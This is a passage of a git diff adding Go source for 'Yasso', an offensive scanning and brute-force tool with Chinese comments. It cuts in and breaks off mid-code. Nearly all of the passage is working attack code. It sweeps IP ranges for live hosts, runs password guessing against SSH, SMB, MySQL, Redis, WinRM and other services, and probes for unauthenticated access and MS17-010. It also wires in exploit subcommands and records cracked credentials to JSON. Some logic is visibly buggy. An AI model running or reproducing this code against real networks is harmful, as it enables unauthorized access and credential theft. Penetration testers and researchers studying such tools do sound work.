开始爆破,带有用户名密码的服务 + if strings.Contains(p, "{user}") { + p = strings.ReplaceAll(p, "{user}", u) + } + if b.export(b.call(b.serviceConn, u, p), b.serviceConn.Hostname, b.serviceConn.Port, b.service, u, p, b.output) { + return + } + } + } + }(tmp) + } + wg.Wait() + } +} + +// call 函数调用,爆破将会调用该模块去执行操作操作 +func (b *Brute) call(params ...interface{}) []reflect.Value { + f := reflect.ValueOf(b.bruteMethod) + if len(params) != f.Type().NumIn() { + logger.Fatal(fmt.Sprintf("call func %v has an error", b.bruteMethod)) + return nil + } + args := make([]reflect.Value, len(params)) + for k, param := range params { + if param == "" || param == 0 { + continue + } + args[k] = reflect.ValueOf(param) + } + return f.Call(args) +} + +// 结果验证 +func (b *Brute) export(v []reflect.Value, host string, port int, service, user, pass string, output string) bool { + var mutex sync.Mutex + for _, value := range v { + switch value.Kind() { + case reflect.Bool: + if value.Bool() == true { + mutex.Lock() + logger.Success(fmt.Sprintf("brute %v:%v success [%v:%v][%v]", host, port, user, pass, service)) + logger.JSONSave(host, logger.WeakPassSave, service, map[string]string{user: pass}) + mutex.Unlock() + return true + } + } + } + return false +} diff --git a/core/flag/flag.go b/core/flag/flag.go new file mode 100644 index 0000000..cfbd272 --- /dev/null +++ b/core/flag/flag.go @@ -0,0 +1,114 @@ +package flag + +import ( + "Yasso/core/logger" + "Yasso/core/plugin" + "Yasso/pkg/exploit" + "github.com/spf13/cobra" + "os" + "time" +) + +type allFlags struct { + Hosts string // 全局变量 标识ip列表或文件路径 + Ports string // 全局变量 标识扫描的端口 + Timeout int // 全局变量 标识超时时间 + NoCrack bool // 全局变量 标识all模块是否开启爆破 + NoAlive bool // 全局变量 是否采用ping来判断存活主机 + User string // 全局变量 标识all模块爆破使用用户名字典 + Pass string // 全局变量 标识all模块爆破使用密码字典 + Thread int // 全局变量 标识all模块扫描时的线程数 + NoService bool // 全局变量 标识all模块是否探测服务 + NoVulcan bool // 全局变量 标识all模块是否进行主机层漏扫 +} + +type BurpFlags struct { + Hosts string // 全局变量,标识ip列表或文件路径 + Method string // 爆破的服务名称 + User string // 爆破时采用的用户字典 + Pass string // 爆破时采用的密码字典 + Thread int // 爆破时采用的线程数 + Timeout int // 爆破的超时时间 + IsAlive bool // 爆破前是否检测存活 +} + +var burp BurpFlags +var all allFlags + +var rootCmd = &cobra.Command{ + Use: "Yasso", + Short: "\n_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/\n", +} + +var allCmd = &cobra.Command{ + Use: "all", + Short: "Use all scanner module (.attention) Traffic is very big", + Run: func(cmd *cobra.Command, args []string) { + if all.Hosts == "" { + _ = cmd.Help() + return + } + scanner := plugin.NewAllScanner(all.Hosts, all.Ports, all.NoAlive, all.NoCrack, all.User, all.Pass, all.Thread, time.Duration(all.Timeout)*1000*time.Millisecond, all.NoService, all.NoVulcan) + scanner.RunEnumeration() + }, +} + +var serviceCmd = &cobra.Command{ + Use: "service", + Short: "Detection or blasting services by module", + Run: func(cmd *cobra.Command, args []string) { + if burp.Hosts == "" { + _ = cmd.Help() + return + } + plugin.BruteService(burp.User, burp.Pass, burp.Hosts, burp.Method, burp.Thread, time.Duration(burp.Timeout)*1000*time.Millisecond, burp.IsAlive) + }, +} + +var ExpCmd = &cobra.Command{ + Use: "exploit", + Short: "Exploits to attack the service", + Run: func(cmd *cobra.Command, args []string) { + if cmd.HasSubCommands() { + _ = cmd.Help() + } + }, +} + +func init() { + rootCmd.PersistentFlags().StringVar(&logger.LogFile, "output", "result.txt", "set logger file") + allCmd.Flags().StringVar(&logger.LogJson, "json", "", "设置json格式输出文件") + allCmd.Flags().StringVarP(&all.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]") + allCmd.Flags().StringVar(&all.Ports, "ports", "", "设置扫描的端口参数(.eg) null将采用默认端口号 top 1000") + allCmd.Flags().IntVar(&all.Timeout, "timeout", 1, "设置扫描的超时时间 默认1秒") + allCmd.Flags().BoolVar(&all.NoCrack, "no-crack", false, "设置扫描时是否爆破脆弱服务") + allCmd.Flags().BoolVar(&all.NoAlive, "no-alive", false, "设置扫描时是否先检测主机存活") + allCmd.Flags().StringVar(&all.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典") + allCmd.Flags().StringVar(&all.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典") + allCmd.Flags().IntVar(&all.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程") + allCmd.Flags().BoolVar(&all.NoService, "no-service", false, "设置扫描时是否探测服务") + allCmd.Flags().BoolVar(&all.NoVulcan, "no-vuln", false, "设置扫描时是否检测主机层漏洞") + rootCmd.AddCommand(allCmd) + serviceCmd.Flags().StringVarP(&burp.Hosts, "hosts", "H", "", "设置扫描的目标参数(.eg) \n[192.168.248.1/24]\n[192.168.248.1-255]\n[example.txt]") + serviceCmd.Flags().StringVar(&burp.Method, "module", "", "指定要爆破的服务名称(.eg) \n[mssql,ftp,ssh,mysql,rdp,postgres,redis,winrm,smb,mongo]\n以逗号分割,可同时爆破多个服务(--module ssh:22,mysql:3306,rdp:3389)") + serviceCmd.Flags().IntVar(&burp.Thread, "thread", 500, "设置扫描时的扫描线程 (.eg) 默认500 线程") + serviceCmd.Flags().StringVar(&burp.User, "user-dic", "", "设置扫描时爆破采用的用户名字典 (.eg) null将采用默认用户名字典") + serviceCmd.Flags().StringVar(&burp.Pass, "pass-dic", "", "设置扫描时爆破采用的密码字典 (.eg) null将采用默认密码字典") + serviceCmd.Flags().IntVar(&burp.Timeout, "timeout", 1, "设置爆破的超时时间 默认1秒") + serviceCmd.Flags().BoolVar(&burp.IsAlive, "is-alive", true, "爆破前是否进行ping检测存活") + rootCmd.AddCommand(serviceCmd) + rootCmd.AddCommand(ExpCmd) + // 利用模块命令 + ExpCmd.AddCommand(exploit.MssqlCmd) + ExpCmd.AddCommand(exploit.SshCmd) + ExpCmd.AddCommand(exploit.WinRmCmd) + ExpCmd.AddCommand(exploit.RedisCmd) + ExpCmd.AddCommand(exploit.SunLoginCmd) + ExpCmd.AddCommand(exploit.LdapReaperCmd) +} + +func Execute() { + if err := rootCmd.Execute(); err != nil { + os.Exit(0) + } +} diff --git a/core/logger/logger.go b/core/logger/logger.go new file mode 100644 index 0000000..4de6aff --- /dev/null +++ b/core/logger/logger.go @@ -0,0 +1,199 @@ +package logger + +import ( + "Yasso/config" + "encoding/json" + "fmt" + "github.com/gookit/color" + "os" + "sync" +) + +var ( + Cyan = color.Cyan.Render + Red = color.Red.Render + LightGreen = color.Style{color.Green, color.OpBold}.Render + LightRed = color.Style{color.Red, color.OpBold}.Render +) + +const ( + PortSave = 1 + HostSave = 2 + WeakPassSave = 3 + InformationSave = 4 + VulnerabilitySave = 5 +) + +var LogFile string +var LogJson string +var mutex sync.Mutex + +func Info(in ...interface{}) { + mutex.Lock() + var all []interface{} + for k, v := range in { + if k == len(in)-1 { + all = append(all, fmt.Sprintf("%v", v)) + } else { + all = append(all, fmt.Sprintf("%v ", v)) + } + } + fmt.Println(fmt.Sprintf("[%s] ", Cyan("*")) + fmt.Sprint(all...)) + + file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666) + if err != nil { + Fatal("open file has an error", err.Error()) + return + } + defer file.Close() + _, _ = file.WriteString(fmt.Sprintf("[*] " + fmt.Sprint(all...) + "\n")) + mutex.Unlock() +} + +func Success(in ...interface{}) { + mutex.Lock() + var all []interface{} + for k, v := range in { + if k == len(in)-1 { + all = append(all, fmt.Sprintf("%v", v)) + } else { + all = append(all, fmt.Sprintf("%v ", v)) + } + } + fmt.Println(fmt.Sprintf("[%s] ", LightGreen("+")) + fmt.Sprint(all...)) + + file, err := os.OpenFile(LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666) + if err != nil { + Fatal("open file has an error", err.Error()) + return + } + defer file.Close() + _, err = file.WriteString(fmt.Sprintf("[+] " + fmt.Sprint(all...) + "\n")) + mutex.Unlock() +} + +func Fatal(in ...interface{}) { + var all []interface{} + for k, v := range in { + if k == len(in)-1 { + all = append(all, fmt.Sprintf("%v", v)) + } else { + all = append(all, fmt.Sprintf("%v ", v)) + } + } + fmt.Println(fmt.Sprintf("[%s] ", Red("#")) + fmt.Sprint(all...)) +} + +// JSONSave 保存json格式数据 +func JSONSave(host string, t int, in ...interface{}) { + if LogJson != "" { + switch t { + case VulnerabilitySave: + for _, v := range config.JSONSave { + // 服务存在 + if v.Host == host { + v.Vulnerability = append(v.Vulnerability, in[0].(string)) + } + } + case PortSave: + // 端口存储 + var flag = false + for _, v := range config.JSONSave { + // 服务存在 + if v.Host == host { + v.Port = in[0].([]int) // 将端口存储 + flag = true + } + } + if flag == false { + config.JSONSave = append(config.JSONSave, &config.Format{ + Host: host, + }) + for _, v := range config.JSONSave { + // 服务存在 + if v.Host == host { + v.Port = in[0].([]int) // 将端口存储 + flag = true + } + } + } + case HostSave: + // 主机存储 + config.JSONSave = append(config.JSONSave, &config.Format{ + Host: host, + }) + case WeakPassSave: + // 这里存储json的服务弱口令 + for _, v := range config.JSONSave { + // 服务名称已经有了,那么将口令加到它的WeakPass种 + // 如果主机之前也是存活的 + if v.Host == host { + // 遍历主机的服务列表 + var flag = false + for _, value := range v.Service { + if value.Name == in[0].(string) { // 服务名 + value.WeakPass = append(value.WeakPass, in[1].(map[string]string)) + flag = true // 证明服务存在 + } + } + // 证明host存在 + if flag == false { + v.Service = append(v.Service, &config.Service{ + Name: in[0].(string), //服务名 + WeakPass: []map[string]string{in[1].(map[string]string)}, + }) + } + // 证明host存在 + if flag == false { + v.Service = append(v.Service, &config.Service{ + Name: in[0].(string), //服务名 + WeakPass: []map[string]string{in[1].(map[string]string)}, + }) + } + } + } + case 4: + // 这里information字段 + for _, v := range config.JSONSave { + // 服务名称已经有了,那么将口令加到它的WeakPass种 + // 如果主机之前也是存活的 + if v.Host == host { + // 遍历主机的服务列表 + var flag = false + for _, value := range v.Service { + if value.Name == in[0].(string) { // 服务名 + value.Information = append(value.Information, in[1].(string)) + flag = true // 证明服务存在 + } + } + // 证明host存在 + if flag == false { + v.Service = append(v.Service, &config.Service{ + Name: in[0].(string), //服务名 + Information: []string{in[1].(string)}, + }) + } + } + } + } + // 将以json格式保存,文件将会保存全局变量存储的结果集 + } +} + +func LoggerSave() { + if LogJson != "" { + body, err := json.Marshal(config.JSONSave) + if err != nil { + Fatal("save json marshal failed", err.Error()) + return + } + filePtr, err := os.Create(LogJson) + if err != nil { + fmt.Println("文件创建失败", err.Error()) + return + } + defer filePtr.Close() + // 创建Json编码器 + _, _ = filePtr.Write(body) + } +} diff --git a/core/parse/parse_ip.go b/core/parse/parse_ip.go new file mode 100644 index 0000000..e6e74e5 --- /dev/null +++ b/core/parse/parse_ip.go @@ -0,0 +1,301 @@ +package parse + +import ( + "Yasso/core/logger" + "bufio" + "errors" + "fmt" + "github.com/projectdiscovery/cdncheck" + "net" + "os" + "path" + "path/filepath" + "regexp" + "sort" + "strconv" + "strings" + "sync" +) + +// ReadFile 从文件中读取数据 +func ReadFile(filename string) ([]string, error) { + file, err := os.Open(filename) + if err != nil { + logger.Fatal("open file has an error", err.Error()) + return nil, err + } + defer file.Close() + scanner := bufio.NewScanner(file) + scanner.Split(bufio.ScanLines) + var re []string + for scanner.Scan() { + text := strings.TrimSpace(scanner.Text()) + if text != "" { + re = append(re, text) + } + } + re = Duplicate(re) // 去重 + return re, nil +} + +// ConvertDomainToIpAddress 将域名转换成ip地址 +func ConvertDomainToIpAddress(domains []string, thread int) ([]string, error) { + checkChan := make(chan string, 100) + var wg sync.WaitGroup + var re []string + for i := 0; i < thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for host := range checkChan { + if strings.Count(host, ".") == 3 && len(strings.Split(host, ":")) == 2 { + // 这种是带有端口的ip地址 + re = append(re, host) + continue + } + ip, err := net.LookupHost(host) + if err != nil { + continue + } + if ip != nil { + // 证明存在cdn,直接丢掉即可(不跑带有cdn的域名) + if len(ip) >= 2 { + logger.Info(fmt.Sprintf("%s has cdn %v", host, ip[:])) + continue + } else { + for _, i := range ip { + re = append(re, i) + } + } + } + } + }() + } + for _, domain := range domains { + if strings.Contains(domain, "http://") { + domain = strings.TrimPrefix(domain, "http://") + } + if strings.Contains(domain, "https://") { + domain = strings.TrimPrefix(domain, "https://") + } + checkChan <- domain + } + close(checkChan) + wg.Wait() + re = Duplicate(re) // 去重 + return re, nil +} + +// cdnFilter cdn过滤器 +func cdnFilter(ip string, client *cdncheck.Client) string { + if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil { + return ip + } + return "" +} + +// Duplicate 去重 +func Duplicate(slc []string) []string { + var re []string + temp := map[string]byte{} + for _, v := range slc { + l := len(temp) + temp[v] = 0 + if len(temp) != l { + re = append(re, v) + } + } + return re +} + +// RegIpv4Address 匹配ipv4 +func RegIpv4Address(context string) string { + matched, err := regexp.MatchString("((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3}", context) + if err != nil { + return "" + } + if matched { + return context + } + return "" +} + +func HandleIps(ip string) ([]string, error) { + var Unprocessed []string + var err error + var basic []string + + if strings.Contains(ip, ".txt") { + if strings.ToLower(path.Ext(filepath.Base(ip))) == ".txt" { + // 文件后缀为.txt的话,我们按照文件解析并获取数据结果 + Unprocessed, err = ReadFile(ip) + if err != nil { + return []string{}, err + } + } + /* + 这里获取到的数据格式可能为 + 192.168.248.1/24 + 192.168.248.1-155 + www.baidu.com + 192.168.248.1:3389 + https://www.baidu.com + */ + + // 第一波解析开始,解析ip地址格式 + for _, i := range Unprocessed { + switch { + case RegIpv4Address(i) != "" && (strings.Count(i, "/24") == 1 || strings.Count(i, "/16") == 1): + temp, err := ConvertIpFormatA(i) + if err != nil { + logger.Fatal("parse ip address has an error", err.Error()) + return []string{}, err + } + basic = append(basic, temp...) + case RegIpv4Address(i) != "" && strings.Count(i, "-") == 1 && !strings.Contains(i, "/"): + fmt.Println(i) + temp, err := ConvertIpFormatB(i) + if err != nil { + logger.Fatal("parse ip address has an error", err.Error()) + return []string{}, err + } + basic = append(basic, temp...) + case strings.Contains(i, "https://") || strings.Contains(i, "http://"): + if strings.Contains(i, "https://") { + basic = append(basic, strings.ReplaceAll(i, "https://", "")) + } + if strings.Contains(i, "http://") { + basic = append(basic, strings.ReplaceAll(i, "https", "")) + } + default: + basic = append(basic, i) + } + } + // 第一波解析完成,开始第二波解析,解析域名 + basic = Duplicate(basic) // 第一次去重 + basic, err = ConvertDomainToIpAddress(basic, 100) + if err != nil { + logger.Fatal("parse domain has an error", err.Error()) + return nil, err + } + basic = Duplicate(basic) // 第二次去重 + } else { + basic, err = ConvertIpFormatAll(ip) + if err != nil { + logger.Fatal("parse ip address has an error", err.Error()) + return []string{}, err + } + } + // 二次筛选 + var newBasic []string + for _, ip := range basic { + if strings.Contains(ip, "/") { + newBasic = append(newBasic, strings.Split(ip, "/")[0]) + } else { + newBasic = append(newBasic, ip) + } + } + // 对获取到的ip地址进行排序进行后续操作 + sort.Strings(newBasic) + return newBasic, err +} + +// ConvertIpFormatA 不解析192.168.248.1/8格式目前 +func ConvertIpFormatA(ip string) ([]string, error) { + var ip4 = net.ParseIP(strings.Split(ip, "/")[0]) + if ip4 == nil { + return []string{}, errors.New("not an ipv4 address") + } + var mark = strings.Split(ip, "/")[1] + var temp []string + var err error + switch mark { + case "24": + var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".") + for i := 0; i <= 255; i++ { + temp = append(temp, ip3+"."+strconv.Itoa(i)) + } + err = nil + case "16": + var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".") + for i := 0; i <= 255; i++ { + for j := 0; j <= 255; j++ { + temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j)) + } + } + err = nil + default: + temp = []string{} + err = errors.New("not currently supported") + } + return temp, err +} + +func ConvertIpFormatB(ip string) ([]string, error) { + var ip4 = strings.Split(ip, "-") + var ipA = net.ParseIP(ip4[0]) + if ip4 == nil { + return []string{}, errors.New("not an ipv4 address") + } + var temp []string + if len(ip4[1]) < 4 { + iprange, err := strconv.Atoi(ip4[1]) + if ipA == nil || iprange > 255 || err != nil { + return []string{}, errors.New("input format is not ccorrect") + } + var splitip = strings.Split(ip4[0], ".") + ip1, err1 := strconv.Atoi(splitip[3]) + ip2, err2 := strconv.Atoi(ip4[1]) + prefixip := strings.Join(splitip[0:3], ".") + if ip1 > ip2 || err1 != nil || err2 != nil { + return []string{}, errors.New("input format is not ccorrect") + } + for i := ip1; i <= ip2; i++ { + temp = append(temp, prefixip+"."+strconv.Itoa(i)) + } + } else { + var splitip1 = strings.Split(ip4[0], ".") + var splitip2 = strings.Split(ip4[1], ".") + if len(splitip1) != 4 || len(splitip2) != 4 { + return []string{}, errors.New("input format is not ccorrect") + } + start, end := [4]int{}, [4]int{} + for i := 0; i < 4; i++ { + ip1, err1 := strconv.Atoi(splitip1[i]) + ip2, err2 := strconv.Atoi(splitip2[i]) + if ip1 > ip2 || err1 != nil || err2 != nil { + return []string{}, errors.New("input format is not ccorrect") + } + start[i], end[i] = ip1, ip2 + } + startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] + endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] + for num := startNum; num <= endNum; num++ { + ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) + temp = append(temp, ip) + } + } + return temp, nil +} + +func ConvertIpFormatAll(ip string) ([]string, error) { + reg := regexp.MustCompile(`[a-zA-Z]+`) + switch { + case strings.Count(ip, "/") == 1: + return ConvertIpFormatA(ip) + case strings.Count(ip, "-") == 1: + return ConvertIpFormatB(ip) + case reg.MatchString(ip): + _, err := net.LookupHost(ip) + if err != nil { + return []string{}, err + } + return []string{ip}, nil + default: + var isip = net.ParseIP(ip) + if isip == nil { + return []string{}, errors.New("input format is not ccorrect") + } + return []string{ip}, nil + } +} diff --git a/core/parse/parse_port.go b/core/parse/parse_port.go new file mode 100644 index 0000000..6f89bf5 --- /dev/null +++ b/core/parse/parse_port.go @@ -0,0 +1,50 @@ +package parse + +import ( + "strconv" + "strings" +) + +// HandlePorts 解析端口格式 +func HandlePorts(ports string) ([]int, error) { + var scanPorts []int + slices := strings.Split(ports, ",") + for _, port := range slices { + port = strings.Trim(port, " ") + upper := port + if strings.Contains(port, "-") { + ranges := strings.Split(port, "-") + if len(ranges) < 2 { + continue + } + startPort, _ := strconv.Atoi(ranges[0]) + endPort, _ := strconv.Atoi(ranges[1]) + if startPort < endPort { + port = ranges[0] + upper = ranges[1] + } else { + port = ranges[1] + upper = ranges[0] + } + } + start, _ := strconv.Atoi(port) + end, _ := strconv.Atoi(upper) + for i := start; i <= end; i++ { + scanPorts = append(scanPorts, i) + } + } + scanPorts = RemoveDuplicate(scanPorts) + return scanPorts, nil +} + +func RemoveDuplicate(old []int) []int { + result := make([]int, 0, len(old)) + temp := map[int]struct{}{} + for _, item := range old { + if _, ok := temp[item]; !ok { + temp[item] = struct{}{} + result = append(result, item) + } + } + return result +} diff --git a/core/plugin/all.go b/core/plugin/all.go new file mode 100644 index 0000000..3830a35 --- /dev/null +++ b/core/plugin/all.go @@ -0,0 +1,447 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/config/banner" + "Yasso/core/brute" + "Yasso/core/logger" + "Yasso/core/parse" + "Yasso/pkg/webscan" + "context" + "fmt" + "sort" + "strconv" + "strings" + "sync" + "time" +) + +type scannerAll struct { + ip string // 需要解析的ip列表或者文件 + port string // 需要解析的端口列表 + noAlive bool // 是否探测存活 + noBrute bool // 是否进行爆破 + userPath string // 爆破所需的user字典路径 + passPath string // 爆破所需的pass字典路径 + thread int // 扫描所需线程数 + timeout time.Duration // 爆破的超时数 + noService bool // 是否进行服务的探测(包括web) + noVulcan bool // 是否进行主机层漏洞扫描 +} + +func NewAllScanner(ip, port string, isAlive, isBrute bool, user, pass string, thread int, timeout time.Duration, noService bool, noVulcan bool) *scannerAll { + return &scannerAll{ + ip: ip, + port: port, + noAlive: isAlive, + noBrute: isBrute, + userPath: user, + passPath: pass, + thread: thread, + timeout: timeout, + noService: noService, + noVulcan: noVulcan, + } +} + +// RunEnumeration 执行程序 +func (s *scannerAll) RunEnumeration() { + banner.Banner() + defer func() { + logger.Info("Yasso scan complete") + }() + if s.ip == "" { + logger.Fatal("need ips to parse") + return + } + // 1. 解析用户的ip列表 + ips, err := parse.HandleIps(s.ip) + if err != nil { + logger.Fatal("parse ips has an error", err.Error()) + return + } + // 2.解析用户的port列表 + var ports []int + if s.port == "" { + ports = config.DefaultScannerPort + } else { + ports, err = parse.HandlePorts(s.port) + if err != nil { + logger.Fatal("parse ports has an error", err.Error()) + return + } + } + var user []string + var pass []string + // 3.解析用户的字典,没有字典的话,就采用默认的字典 + if s.userPath != "" { + user, err = parse.ReadFile(s.userPath) + if err != nil { + logger.Fatal("parse user dict file has an error") + return + } + } + if s.passPath != "" { + pass, err = parse.ReadFile(s.passPath) + if err != nil { + logger.Fatal("parse user dict file has an error") + return + } + return + } else { + pass = config.PassDict + } + + // 4. 解析完成后,通过isAlive判断存活,这里采用并发方式 + var wg sync.WaitGroup + var mutex sync.Mutex + var ipChannel = make(chan string, 1000) + var port7 []int = []int{139, 445, 135, 22, 23, 21, 3389} + var ipAlive []string + if s.noAlive == false { + for i := 0; i < s.thread; i++ { + wg.Add(1) + go func(ctx context.Context) { + defer wg.Done() + for ip := range ipChannel { + if ping(ip) == true { + logger.Info(fmt.Sprintf("%v is alive (ping)", ip)) + logger.JSONSave(ip, logger.HostSave) // json存储 + ipAlive = append(ipAlive, ip) + } else { + // 这里尝试探测7个常用端口,如果有一个开放,则证明ip也是存活网段 + for _, p := range port7 { + if tcpConn(ip, p) == true { + logger.Info(fmt.Sprintf("%v is alive (tcp)", ip)) + logger.JSONSave(ip, logger.HostSave) // json存储 + ipAlive = append(ipAlive, ip) + break + } + } + } + } + }(context.Background()) + } + for _, ip := range ips { + // 带有端口的不进行扫描,直接加入 + if strings.Contains(ip, ":") { + ipAlive = append(ipAlive, ip) + continue + } else { + ipChannel <- ip + } + } + close(ipChannel) // 防止死锁 + wg.Wait() + } else { + ipAlive = ips + } + // 5.扫描完成后,做端口扫描,同样是高并发 + ipChannel = make(chan string, 1000) // 二次复用 + var portAlive = make(map[string][]int) + for i := 0; i < s.thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for ip := range ipChannel { + // 做端口扫描 + mutex.Lock() + p := NewRunner(ports, ip, s.thread, tcpConn).RunEnumeration() + portAlive[ip] = append(portAlive[ip], p...) + logger.JSONSave(ip, logger.PortSave, p) // 存储可用端口 + mutex.Unlock() + } + }() + } + for _, ip := range ipAlive { + // 带有端口的不进行扫描,直接加入 + if strings.Count(ip, ":") == 1 { + t := strings.Split(ip, ":") + p, err := strconv.Atoi(t[1]) + if err != nil { + continue + } + portAlive[t[0]] = append(portAlive[t[0]], p) + continue + } else { + ipChannel <- ip + } + } + close(ipChannel) // 防止死锁 + wg.Wait() + // 6. 端口扫描结束,根据用户指示,判断是否进行爆破 + for k, v := range portAlive { + // 遍历每一个ip的每一个端口看看属于哪一个服务 + v = parse.RemoveDuplicate(v) // 去个重 + sort.Ints(v) // 排序 + for _, p := range v { + switch p { + case 22: + if s.noService == false { + information := VersionSSH(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }) + logger.JSONSave(k, logger.InformationSave, "ssh", information) + } + brute.NewBrute(user, pass, SshConnByUser, "ssh", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + case 21: + // 未授权 + if ok, _ := FtpConn(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, "", ""); ok { + continue + } + // 爆破ftp + brute.NewBrute(user, pass, FtpConn, "ftp", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + case 445: + // 未授权 + if ok, _ := SmbConn(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, "administrator", ""); ok { + logger.Info(fmt.Sprintf("smb %s unauthorized", k)) + // 未授权,用户名密码均为null + logger.JSONSave(k, logger.WeakPassSave, "smb", map[string]string{"null": "null"}) + continue + } + brute.NewBrute(user, pass, SmbConn, "smb", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + case 1433: + if s.noService == false { + ok, information := VersionMssql(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }) + // 存在ok + if ok { + logger.JSONSave(k, logger.InformationSave, "mssql", information) + } + } + brute.NewBrute(user, pass, MssqlConn, "mssql", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + case 2181: + if s.noService == false { + if ok, _ := ZookeeperConn(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, "", ""); ok { + // 未授权 + logger.JSONSave(k, logger.WeakPassSave, "zookeeper", map[string]string{"null": "null"}) + continue + } + } + case 3306: + // 未授权 + if _, ok, _ := MySQLConn(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, "", ""); ok { + logger.Info(fmt.Sprintf("mysql %s unauthorized", k)) + // 未授权,用户名密码均为null + logger.JSONSave(k, logger.WeakPassSave, "mysql", map[string]string{"null": "null"}) + continue + } else { + brute.NewBrute(user, pass, MySQLConn, "mysql", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + } + case 3389: + // 仅探测主机版本 + if s.noService == false { + if ok, information := VersionRdp(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, "", ""); ok { + // 版本 + logger.JSONSave(k, logger.InformationSave, "rdp", information) + continue + } + } + case 6379: + if s.noService == false { + if _, ok, _ := RedisUnAuthConn(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, "", ""); ok { + logger.JSONSave(k, logger.WeakPassSave, "redis", map[string]string{"null": "null"}) + continue + } + } + brute.NewBrute(user, pass, RedisAuthConn, "redis", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + + case 5432: + brute.NewBrute(user, pass, PostgreConn, "postgres", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + case 5985: + brute.NewBrute(user, pass, WinRMAuth, "winrm", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + case 11211: + if s.noService == false { + if ok, _ := MemcacheConn(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, "", ""); ok { + logger.JSONSave(k, logger.WeakPassSave, "memcache", map[string]string{"null": "null"}) + continue + } + } + case 27017: + if s.noService == false { + if ok, _ := MongoUnAuth(config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, "", ""); ok { + logger.JSONSave(k, logger.WeakPassSave, "mongodb", map[string]string{"null": "null"}) + break + } + } + brute.NewBrute(user, pass, MongoAuth, "mongodb", config.ServiceConn{ + Hostname: k, + Port: p, + Timeout: s.timeout, + }, s.thread, s.noBrute, "").RunEnumeration() + default: + if s.noService == false { + webscan.DisMapConn(k, p, s.timeout) + } + continue + } + } + } + if s.noService == false { + // 8. 进行win服务扫描扫描 + ipChannel = make(chan string, 1000) // 第四次复用 + for i := 0; i < s.thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for ip := range ipChannel { + mutex.Lock() + func(ip string) { + ok, information := NbnsScanConn(ip, 137, s.timeout) + if ok { + logger.JSONSave(ip, logger.InformationSave, "netbios", information) + } + }(ip) + func(ip string) { + ok, information := SmbScanConn(ip, 445, s.timeout) + if ok { + logger.JSONSave(ip, logger.InformationSave, "smb", information) + } + }(ip) + func(ip string) { + ok, information := OxidScanConn(ip, 135, s.timeout) + if ok { + logger.JSONSave(ip, logger.InformationSave, "oxid", information) + } + }(ip) + mutex.Unlock() + } + }() + } + for _, ip := range ipAlive { + // 带有端口的不进行扫描,直接加入 + if strings.Count(ip, ":") == 1 && (strings.Split(ip, ":")[0] != strconv.Itoa(139) || strings.Split(ip, ":")[0] != strconv.Itoa(135) || strings.Split(ip, ":")[0] != strconv.Itoa(445)) { + continue + } else if strings.Split(ip, ":")[0] == strconv.Itoa(139) || strings.Split(ip, ":")[0] == strconv.Itoa(135) || strings.Split(ip, ":")[0] == strconv.Itoa(445) { + ipChannel <- strings.Split(ip, ":")[0] + } else { + ipChannel <- ip + } + } + close(ipChannel) // 防止死锁 + wg.Wait() // 等待结束 + + } + // 7. 进行主机漏洞扫描 + if s.noVulcan == false { + ipChannel = make(chan string, 1000) // 第四次复用 + for i := 0; i < s.thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for ip := range ipChannel { + // 做端口扫描 + mutex.Lock() + func() { + ok := Ms17010Conn(config.ServiceConn{ + Hostname: ip, + Port: 445, + Domain: "", 